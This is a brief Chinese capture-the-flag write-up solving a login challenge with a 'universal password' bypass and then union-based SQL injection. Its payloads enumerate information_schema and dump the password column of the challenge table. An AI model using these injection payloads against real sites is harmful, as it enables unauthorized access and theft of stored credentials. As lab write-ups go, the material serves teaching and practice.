0x00 知识点
1:万能密码登陆
2:登陆后直接使用联合查询注入
0x01解题
登陆后进行简单测试发现是字符型注入
order by 测试数据库有多少字段
发现在4的时候报错,没有过滤,直接进行注入
注入数据库:
admin'union select 1,2,group_concat(schema_name) from information_schema.schemata#
查询数据表
username=admin&password=admin‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
查询数据表中的列:
username=admin&password=admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() #
查询数据
username=admin&password=admin‘ union select 1,2,group_concat(password) from l0ve1ysq1#
查看源代码得到flag.